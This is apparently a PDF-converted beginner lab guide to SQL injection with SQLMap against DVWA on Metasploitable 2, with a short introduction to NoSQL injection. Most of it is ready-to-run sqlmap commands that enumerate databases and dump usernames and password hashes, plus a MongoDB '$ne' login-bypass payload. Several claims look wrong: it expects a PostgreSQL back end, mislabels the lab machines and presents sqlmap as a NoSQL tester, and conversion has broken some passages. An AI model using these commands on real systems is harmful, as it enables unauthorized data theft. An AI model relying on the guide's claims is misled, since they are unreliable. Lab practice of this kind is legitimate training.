

SQLMap Beginner Guide

Metasploitable 2 Lab

Focus: PostgreSQL & Intro to NoSQL Injection Testing

Ethical & Legal Reminder

This guide is for **educational use only**.

You must **never** use SQLMap on systems you do not own or have permission to test.

Metasploitable 2 is intentionally vulnerable and designed for learning.

Lab Environment Overview

Required Machines

Machine	Purpose
Kali Linux	Metasploitable 2
Metasploitable 2	Vulnerable target

Network Configuration

- Set both VMs to **Host-Only** or **Internal Network**
- Verify connectivity: `ping <metasploitable_ip>`

If you get replies, the lab is ready.

What Is SQLMap? (Simple Explanation)

SQLMap is an automated penetration testing tool that:

- Detects SQL Injection vulnerabilities
- Identifies the database type (PostgreSQL, MySQL, etc.)
- Extracts information such as:
 - Database names
 - Tables and columns
 - Usernames and password hashes



How SQLMap works (beginner view):

It sends specially crafted SQL queries to the web application and **analyzes how the server responds**.

If the response changes, SQLMap knows the input is injectable.

Understanding SQL Injection (Quick Concept)

SQL Injection occurs when:

- User input is **not properly validated**
- The input becomes part of a database query

Example: `SELECT * FROM users WHERE id = '1';`

If input is manipulated: `1' OR '1'='1`

The query logic changes, allowing unauthorized access.

Finding a Vulnerable Page in Metasploitable 2

Metasploitable 2 includes several vulnerable applications.

Common Targets

`http://<IP>/dvwa/`

`http://<IP>/mutillidae/`

`http://<IP>/tikiwiki/`

For this lab, we'll use **DVWA (Damn Vulnerable Web Application)**.

DVWA Settings

- Login: `admin / password`
- Set Security Level → Low

Identifying a Vulnerable Parameter

Example vulnerable URL:

`http://<IP>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit`

Here:

- `id=1` is user-controlled input
- This parameter will be tested by SQLMap



Running SQLMap (Basic Detection)

```
sqlmap -u "http://<IP>/dvwa/vulnerabilities/sqli/?id=1"
```

What SQLMap Does Now

- Tests multiple payloads
- Checks if input affects the SQL query
- Tries to identify the backend DBMS

If vulnerable, SQLMap will confirm injection.

Detecting the Database Type

```
sqlmap -u "http://<IP>/dvwa/vulnerabilities/sqli/?id=1" --dbs
```

Expected Result

back-end DBMS: PostgreSQL

Why this matters:

Different databases use different SQL syntax.

Knowing the DB type makes exploitation **more accurate and faster**. **Forcing**

SQLMap to Target PostgreSQL Only `sqlmap -u`

```
"http://<IP>/dvwa/vulnerabilities/sqli/?id=1" --dbms=PostgreSQL
```

Benefits

- Reduces scan time
- Avoids irrelevant payloads
- Mimics real penetration testing methodology

Enumerating PostgreSQL Databases

```
sqlmap -u "http://<IP>/dvwa/vulnerabilities/sqli/?id=1" \  
--dbms=PostgreSQL \  
--dbs
```

SQLMap queries system tables to list all databases.

Enumerating Tables

3



Choose a database (example: **dvwa**):

```
sqlmap -u "http://<IP>/dvwa/vulnerabilities/sqli/?id=1" \  
--dbms=PostgreSQL \  
-D dvwa \  
--tables
```

Enumerating Columns

```
sqlmap -u "http://<IP>/dvwa/vulnerabilities/sqli/?id=1" \  
--dbms=PostgreSQL \  
-D dvwa \  
-T users \  
--columns
```

This reveals table structure.

Dumping Table Data

```
sqlmap -u "http://<IP>/dvwa/vulnerabilities/sqli/?id=1" \  
--dbms=PostgreSQL \  
-D dvwa \  
-T users \  
--dump
```

SQLMap extracts and displays stored data such as:

- Usernames
- Password hashes

NoSQL Injection (Beginner Introduction)

Important Clarification

Metasploitable 2 **does not run NoSQL databases** like MongoDB. However, **understanding NoSQL injection** is essential for modern web apps.

What Is NoSQL Injection?

NoSQL injection targets databases like:

- MongoDB
- CouchDB

4



- Firebase

Instead of SQL syntax, they use **JSON-based queries**.

Example vulnerable logic:

```
{ "username": "admin", "password": "1234" }
```

Injection example:

```
{ "username": "admin", "password": { "$ne": null } }
```

This bypasses authentication.

Testing NoSQL-Style Injection with SQLMap

JSON Request Example

```
sqlmap -u "http://<IP>/api/login" \  
--data='{ "username": "admin", "password": "test" }' \  
--batch
```

MongoDB-Style Injection

```
sqlmap -u "http://<IP>/api/login" \  
--data='username=admin&password[$ne]=test' \  
--batch
```

\$ne means “**not equal**”, commonly abused in MongoDB.

Helpful SQLMap Options (Beginner Table)

Option	Meaning
<code>--batch</code>	Auto-answers prompts
<code>--dbms=PostgreSQL</code>	Force DB type

--level=3	More tests
--risk=2	Medium risk payloads
--threads=5	Faster scans

5



Recommended Beginner Command

```
sqlmap -u "http://<IP>/dvwa/vulnerabilities/sqli/?id=1" \
--cookie="security=low" \
--dbms=PostgreSQL \
--level=3 \
--risk=2 \
--batch
```

Common Beginner Mistakes

- Forgetting session cookies
- Running SQLMap without identifying DB type •
- Using aggressive scans too early
- Testing real-world websites

